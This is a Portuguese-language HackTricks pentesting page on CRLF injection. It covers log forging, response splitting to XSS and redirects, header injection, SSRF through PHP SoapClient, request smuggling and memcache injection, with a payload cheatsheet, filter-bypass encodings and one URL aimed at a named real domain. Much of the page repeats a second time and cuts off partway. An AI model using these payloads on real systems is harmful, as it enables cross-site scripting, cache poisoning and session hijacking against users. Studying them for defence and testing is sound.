# Injeção de CRLF (%0D%0A)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
{% embed url="https://www.stmcyber.com/careers" %}
## O que é CRLF?
Quando um navegador envia uma solicitação para um servidor web, o servidor web responde com uma resposta contendo tanto os cabeçalhos de resposta HTTP quanto o conteúdo real do site, ou seja, o corpo da resposta. Os cabeçalhos HTTP e a resposta HTML (o conteúdo do site) são separados por uma combinação específica de caracteres especiais, ou seja, um retorno de carro e uma alimentação de linha. Em resumo, eles também são conhecidos como CRLF.
O servidor web usa o CRLF para entender quando um novo cabeçalho HTTP começa e outro termina. O CRLF também pode indicar a um aplicativo da web ou usuário que uma nova linha começa em um arquivo ou em um bloco de texto. Os caracteres CRLF são uma mensagem padrão HTTP/1.1, portanto, são usados por qualquer tipo de servidor web, incluindo Apache, Microsoft IIS e todos os outros.\
De [https://www.netsparker.com/blog/web-security/crlf-http-header/#](https://www.netsparker.com/blog/web-security/crlf-http-header/)
### O que é a Vulnerabilidade de Injeção de CRLF?
Em um ataque de vulnerabilidade de injeção de CRLF, o invasor insere tanto o caractere de retorno de carro quanto o caractere de alimentação de linha na entrada do usuário para enganar o servidor, o aplicativo da web ou o usuário, fazendo-os pensar que um objeto foi encerrado e outro começou. Portanto, as sequências de CRLF não são caracteres maliciosos, no entanto, podem ser usadas com intenções maliciosas, para divisão de resposta HTTP, etc.
## Injeção de CRLF em aplicativos da web
Em aplicativos da web, uma injeção de CRLF pode ter impactos graves, dependendo do que o aplicativo faz com itens individuais. Os impactos podem variar desde a divulgação de informações até a execução de código, uma vulnerabilidade de segurança direta do aplicativo da web. Na verdade, um ataque de injeção de CRLF pode ter repercussões muito sérias em um aplicativo da web, mesmo que nunca tenha sido listado no Top 10 da OWASP. Por exemplo, também é possível manipular arquivos de log em um painel de administração, como explicado no exemplo abaixo.
#### Um exemplo de Injeção de CRLF em um arquivo de log
Imagine um arquivo de log em um painel de administração com o padrão de fluxo de saída de IP - Hora - Caminho visitado, como o abaixo:
```
123.123.123.123 - 08:15 - /index.php?page=home
```
Se um invasor conseguir injetar os caracteres CRLF na solicitação HTTP, ele poderá alterar o fluxo de saída e falsificar as entradas de log. Ele pode alterar a resposta da aplicação web para algo como o exemplo abaixo:
```
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
O %0d e %0a são as formas codificadas em URL de CR e LF. Portanto, as entradas de log ficariam assim depois que o atacante inserisse esses caracteres e o aplicativo os exibisse:
IP - Hora - Caminho Visitado
```
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
Portanto, ao explorar uma vulnerabilidade de injeção CRLF, o atacante pode falsificar entradas no arquivo de log para ocultar suas próprias ações maliciosas. O atacante está literalmente sequestrando a página e modificando a resposta. Por exemplo, imagine um cenário em que o atacante possui a senha de administrador e executa o parâmetro restrictedaction, que só pode ser usado por um administrador.
O problema é que, se o administrador perceber que um IP desconhecido usou o parâmetro restrictedaction, ele notará que algo está errado. No entanto, como agora parece que o comando foi emitido pelo localhost (e, portanto, provavelmente por alguém que tem acesso ao servidor, como um administrador), não parece suspeito.
Toda a parte da consulta que começa com %0d%0a será tratada pelo servidor como um parâmetro. Depois disso, há outro & com o parâmetro restrictedaction, que será analisado pelo servidor como outro parâmetro. Efetivamente, esta seria a mesma consulta que:
```
/index.php?page=home&restrictedaction=edit
```
### Injeção de Resposta HTTP
#### Descrição
Como o cabeçalho de uma resposta HTTP e seu corpo são separados por caracteres CRLF, um invasor pode tentar injetá-los. Uma combinação de CRLFCRLF informará ao navegador que o cabeçalho termina e o corpo começa. Isso significa que ele agora pode escrever dados dentro do corpo da resposta, onde o código HTML é armazenado. Isso pode levar a uma vulnerabilidade de Cross-site Scripting.
#### Um exemplo de Injeção de Resposta HTTP levando a XSS
Imagine um aplicativo que define um cabeçalho personalizado, por exemplo:
```
X-Your-Name: Bob
```
O valor do cabeçalho é definido por meio de um parâmetro GET chamado "name". Se não houver codificação de URL em vigor e o valor for refletido diretamente dentro do cabeçalho, pode ser possível para um atacante inserir a combinação mencionada acima de CRLFCRLF para informar ao navegador que o corpo da solicitação começa. Dessa forma, ele é capaz de inserir dados, como uma carga XSS, por exemplo:
```
?name=Bob%0d%0a%0d%0a
```
O exemplo acima exibirá uma janela de alerta no contexto do domínio atacado.
#### Um exemplo de HTTP Response Splitting levando a um redirecionamento
{% embed url="https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62" %}
Navegador para:
```
/%0d%0aLocation:%20http://myweb.com
```
E o servidor responde com o cabeçalho:
```
Location: http://myweb.com
```
**Outro exemplo: (de** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)**
```
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```
#### No caminho do URL
Você pode enviar a carga útil **dentro do caminho do URL** para controlar a **resposta** do servidor:
```
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
```
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
### Injeção de Cabeçalho HTTP
#### Descrição
Ao explorar uma injeção de CRLF, um invasor também pode inserir cabeçalhos HTTP que podem ser usados para derrotar mecanismos de segurança, como o filtro XSS de um navegador ou a mesma política de origem. Isso permite que o invasor obtenha informações sensíveis, como tokens CSRF. Ele também pode definir cookies que podem ser explorados ao fazer login da vítima na conta do invasor ou ao explorar vulnerabilidades de [cross-site scripting (XSS)](https://www.netsparker.com/blog/web-security/cross-site-scripting-xss/) de outra forma não exploráveis.
#### Um exemplo de Injeção de Cabeçalho HTTP para extrair dados sensíveis
Se um invasor conseguir injetar os cabeçalhos HTTP que ativam o CORS (Compartilhamento de Recursos de Origem Cruzada), ele pode usar JavaScript para acessar recursos que são protegidos pela SOP (Política de Mesma Origem), que impede que sites de origens diferentes acessem uns aos outros.
### Nova solicitação HTTP em SSRF
Ao abusar da injeção de CRLF, você pode **criar uma nova solicitação HTTP e injetá-la**.\
Um bom exemplo pode ser feito usando o gadget de desserialização `SoapClient` em PHP. Essa classe é **vulnerável a CRLF** dentro do parâmetro `user_agent`, permitindo **inserir novos cabeçalhos e conteúdo do corpo**. No entanto, você também pode ser capaz de abusar dessa vulnerabilidade para **injetar uma nova solicitação HTTP**:
```php
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);
$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);
#Put a nc listening in port 9090
$client->__soapCall("test", []);
```
### Injeção de Cabeçalho para Request Smuggling
Você pode injetar cabeçalhos essenciais para garantir que o **back-end mantenha a conexão aberta** após responder à solicitação inicial:
```
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
```
Em seguida, **especifique uma segunda solicitação**. Aqui você tem um [**ataque clássico** de **injeção de solicitação**](http-request-smuggling/) com **cabeçalhos/corpo extras** adicionados pelo servidor após a injeção.\
Aqui estão duas das muitas opções para exploração entre usuários.
Especificar um **prefixo malicioso** para envenenar a solicitação do próximo usuário ou um cache da web:
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
Ou criar nosso prefixo para combinar com o lixo final e criar uma segunda solicitação completa para acionar a **envenenamento da fila de respostas**.
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
Para obter mais informações sobre essa técnica e problemas potenciais, [**verifique a fonte original**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning).
### Injeção de Memcache
O Memcache é um **armazenamento de chave-valor que usa um protocolo de texto claro**. Mais informações em:
{% content-ref url="../network-services-pentesting/11211-memcache/" %}
[11211-memcache](../network-services-pentesting/11211-memcache/)
{% endcontent-ref %}
Se uma plataforma estiver **recebendo dados de uma solicitação HTTP e usando-os sem sanitização** para realizar **solicitações** a um servidor **memcache**, um invasor pode abusar desse comportamento para **injetar novos comandos memcache**.
Por exemplo, na vulnerabilidade original descoberta, as chaves de cache eram usadas para retornar o IP e a porta a que um usuário deveria se conectar, e os invasores conseguiam **injetar comandos memcache** que **envenenariam** o **cache para enviar os detalhes das vítimas** (incluindo nomes de usuário e senhas) para os servidores do invasor:
Além disso, os pesquisadores também descobriram que poderiam dessincronizar as respostas do memcache para enviar os IPs e portas dos invasores para usuários cujo e-mail o invasor não conhecia:
**Para obter todas as informações, leia o** [**artigo original**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)\*\*\*\*
## Impactos da Vulnerabilidade de Injeção de CRLF
O impacto das injeções de CRLF varia e inclui todos os impactos do Cross-site Scripting até a divulgação de informações. Também pode desativar certas restrições de segurança, como filtros XSS e a Política da Mesma Origem nos navegadores das vítimas, deixando-as suscetíveis a ataques maliciosos.
### Como Prevenir Injeções de CRLF / Cabeçalhos HTTP em Aplicações Web
A melhor técnica de prevenção é não usar a entrada do usuário diretamente nos cabeçalhos de resposta. Se isso não for possível, você sempre deve usar uma função para codificar os caracteres especiais CRLF. Outra boa prática de segurança de aplicativos da web é atualizar sua linguagem de programação para uma versão que não permita a injeção de CR e LF dentro de funções que definem cabeçalhos HTTP.
### CHEATSHEET
```
1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)
2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com
3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
```
## Ferramenta
{% embed url="https://github.com/dwisiswant0/crlfuzz" %}
## Lista de Detecção de Força Bruta
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt" %}
## Referências
* [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
{% embed url="https://www.stmcyber.com/careers" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
 (1).png)
 (1) (1) (1) (1).png)
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
{% embed url="https://www.stmcyber.com/careers" %}
## O que é CRLF?
Quando um navegador envia uma solicitação para um servidor web, o servidor web responde com uma resposta contendo tanto os cabeçalhos de resposta HTTP quanto o conteúdo real do site, ou seja, o corpo da resposta. Os cabeçalhos HTTP e a resposta HTML (o conteúdo do site) são separados por uma combinação específica de caracteres especiais, ou seja, um retorno de carro e uma alimentação de linha. Em resumo, eles também são conhecidos como CRLF.
O servidor web usa o CRLF para entender quando um novo cabeçalho HTTP começa e outro termina. O CRLF também pode indicar a um aplicativo da web ou usuário que uma nova linha começa em um arquivo ou em um bloco de texto. Os caracteres CRLF são uma mensagem padrão HTTP/1.1, portanto, são usados por qualquer tipo de servidor web, incluindo Apache, Microsoft IIS e todos os outros.\
De [https://www.netsparker.com/blog/web-security/crlf-http-header/#](https://www.netsparker.com/blog/web-security/crlf-http-header/)
### O que é a Vulnerabilidade de Injeção de CRLF?
Em um ataque de vulnerabilidade de injeção de CRLF, o invasor insere tanto o caractere de retorno de carro quanto o caractere de alimentação de linha na entrada do usuário para enganar o servidor, o aplicativo da web ou o usuário, fazendo-os pensar que um objeto foi encerrado e outro começou. Portanto, as sequências de CRLF não são caracteres maliciosos, no entanto, podem ser usadas com intenções maliciosas, para divisão de resposta HTTP, etc.
## Injeção de CRLF em aplicativos da web
Em aplicativos da web, uma injeção de CRLF pode ter impactos graves, dependendo do que o aplicativo faz com itens individuais. Os impactos podem variar desde a divulgação de informações até a execução de código, uma vulnerabilidade de segurança direta do aplicativo da web. Na verdade, um ataque de injeção de CRLF pode ter repercussões muito sérias em um aplicativo da web, mesmo que nunca tenha sido listado no Top 10 da OWASP. Por exemplo, também é possível manipular arquivos de log em um painel de administração, como explicado no exemplo abaixo.
#### Um exemplo de Injeção de CRLF em um arquivo de log
Imagine um arquivo de log em um painel de administração com o padrão de fluxo de saída de IP - Hora - Caminho visitado, como o abaixo:
```
123.123.123.123 - 08:15 - /index.php?page=home
```
Se um invasor conseguir injetar os caracteres CRLF na solicitação HTTP, ele poderá alterar o fluxo de saída e falsificar as entradas de log. Ele pode alterar a resposta da aplicação web para algo como o exemplo abaixo:
```
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
O %0d e %0a são as formas codificadas em URL de CR e LF. Portanto, as entradas de log ficariam assim depois que o atacante inserisse esses caracteres e o aplicativo os exibisse:
IP - Hora - Caminho Visitado
```
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
Portanto, ao explorar uma vulnerabilidade de injeção CRLF, o atacante pode falsificar entradas no arquivo de log para ocultar suas próprias ações maliciosas. O atacante está literalmente sequestrando a página e modificando a resposta. Por exemplo, imagine um cenário em que o atacante possui a senha de administrador e executa o parâmetro restrictedaction, que só pode ser usado por um administrador.
O problema é que, se o administrador perceber que um IP desconhecido usou o parâmetro restrictedaction, ele notará que algo está errado. No entanto, como agora parece que o comando foi emitido pelo localhost (e, portanto, provavelmente por alguém que tem acesso ao servidor, como um administrador), não parece suspeito.
Toda a parte da consulta que começa com %0d%0a será tratada pelo servidor como um parâmetro. Depois disso, há outro & com o parâmetro restrictedaction, que será analisado pelo servidor como outro parâmetro. Efetivamente, esta seria a mesma consulta que:
```
/index.php?page=home&restrictedaction=edit
```
### Injeção de Resposta HTTP
#### Descrição
Como o cabeçalho de uma resposta HTTP e seu corpo são separados por caracteres CRLF, um invasor pode tentar injetá-los. Uma combinação de CRLFCRLF informará ao navegador que o cabeçalho termina e o corpo começa. Isso significa que ele agora pode escrever dados dentro do corpo da resposta, onde o código HTML é armazenado. Isso pode levar a uma vulnerabilidade de Cross-site Scripting.
#### Um exemplo de Injeção de Resposta HTTP levando a XSS
Imagine um aplicativo que define um cabeçalho personalizado, por exemplo:
```
X-Your-Name: Bob
```
O valor do cabeçalho é definido por meio de um parâmetro GET chamado "name". Se não houver codificação de URL em vigor e o valor for refletido diretamente dentro do cabeçalho, pode ser possível para um atacante inserir a combinação mencionada acima de CRLFCRLF para informar ao navegador que o corpo da solicitação começa. Dessa forma, ele é capaz de inserir dados, como uma carga XSS, por exemplo:
```
?name=Bob%0d%0a%0d%0a
```
O exemplo acima exibirá uma janela de alerta no contexto do domínio atacado.
#### Um exemplo de HTTP Response Splitting levando a um redirecionamento
{% embed url="https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62" %}
Navegador para:
```
/%0d%0aLocation:%20http://myweb.com
```
E o servidor responde com o cabeçalho:
```
Location: http://myweb.com
```
**Outro exemplo: (de** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)**
```
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```
#### No caminho do URL
Você pode enviar a carga útil **dentro do caminho do URL** para controlar a **resposta** do servidor:
```
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
```
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
### Injeção de Cabeçalho HTTP
#### Descrição
Ao explorar uma injeção de CRLF, um invasor também pode inserir cabeçalhos HTTP que podem ser usados para derrotar mecanismos de segurança, como o filtro XSS de um navegador ou a mesma política de origem. Isso permite que o invasor obtenha informações sensíveis, como tokens CSRF. Ele também pode definir cookies que podem ser explorados ao fazer login da vítima na conta do invasor ou ao explorar vulnerabilidades de [cross-site scripting (XSS)](https://www.netsparker.com/blog/web-security/cross-site-scripting-xss/) de outra forma não exploráveis.
#### Um exemplo de Injeção de Cabeçalho HTTP para extrair dados sensíveis
Se um invasor conseguir injetar os cabeçalhos HTTP que ativam o CORS (Compartilhamento de Recursos de Origem Cruzada), ele pode usar JavaScript para acessar recursos que são protegidos pela SOP (Política de Mesma Origem), que impede que sites de origens diferentes acessem uns aos outros.
### Nova solicitação HTTP em SSRF
Ao abusar da injeção de CRLF, você pode **criar uma nova solicitação HTTP e injetá-la**.\
Um bom exemplo pode ser feito usando o gadget de desserialização `SoapClient` em PHP. Essa classe é **vulnerável a CRLF** dentro do parâmetro `user_agent`, permitindo **inserir novos cabeçalhos e conteúdo do corpo**. No entanto, você também pode ser capaz de abusar dessa vulnerabilidade para **injetar uma nova solicitação HTTP**:
```php
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);
$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);
#Put a nc listening in port 9090
$client->__soapCall("test", []);
```
### Injeção de Cabeçalho para Request Smuggling
Você pode injetar cabeçalhos essenciais para garantir que o **back-end mantenha a conexão aberta** após responder à solicitação inicial:
```
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
```
Em seguida, **especifique uma segunda solicitação**. Aqui você tem um [**ataque clássico** de **injeção de solicitação**](http-request-smuggling/) com **cabeçalhos/corpo extras** adicionados pelo servidor após a injeção.\
Aqui estão duas das muitas opções para exploração entre usuários.
Especificar um **prefixo malicioso** para envenenar a solicitação do próximo usuário ou um cache da web:
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
Ou criar nosso prefixo para combinar com o lixo final e criar uma segunda solicitação completa para acionar a **envenenamento da fila de respostas**.
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
Para obter mais informações sobre essa técnica e problemas potenciais, [**verifique a fonte original**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning).
### Injeção de Memcache
O Memcache é um **armazenamento de chave-valor que usa um protocolo de texto claro**. Mais informações em:
{% content-ref url="../network-services-pentesting/11211-memcache/" %}
[11211-memcache](../network-services-pentesting/11211-memcache/)
{% endcontent-ref %}
Se uma plataforma estiver **recebendo dados de uma solicitação HTTP e usando-os sem sanitização** para realizar **solicitações** a um servidor **memcache**, um invasor pode abusar desse comportamento para **injetar novos comandos memcache**.
Por exemplo, na vulnerabilidade original descoberta, as chaves de cache eram usadas para retornar o IP e a porta a que um usuário deveria se conectar, e os invasores conseguiam **injetar comandos memcache** que **envenenariam** o **cache para enviar os detalhes das vítimas** (incluindo nomes de usuário e senhas) para os servidores do invasor:
.png)
.png)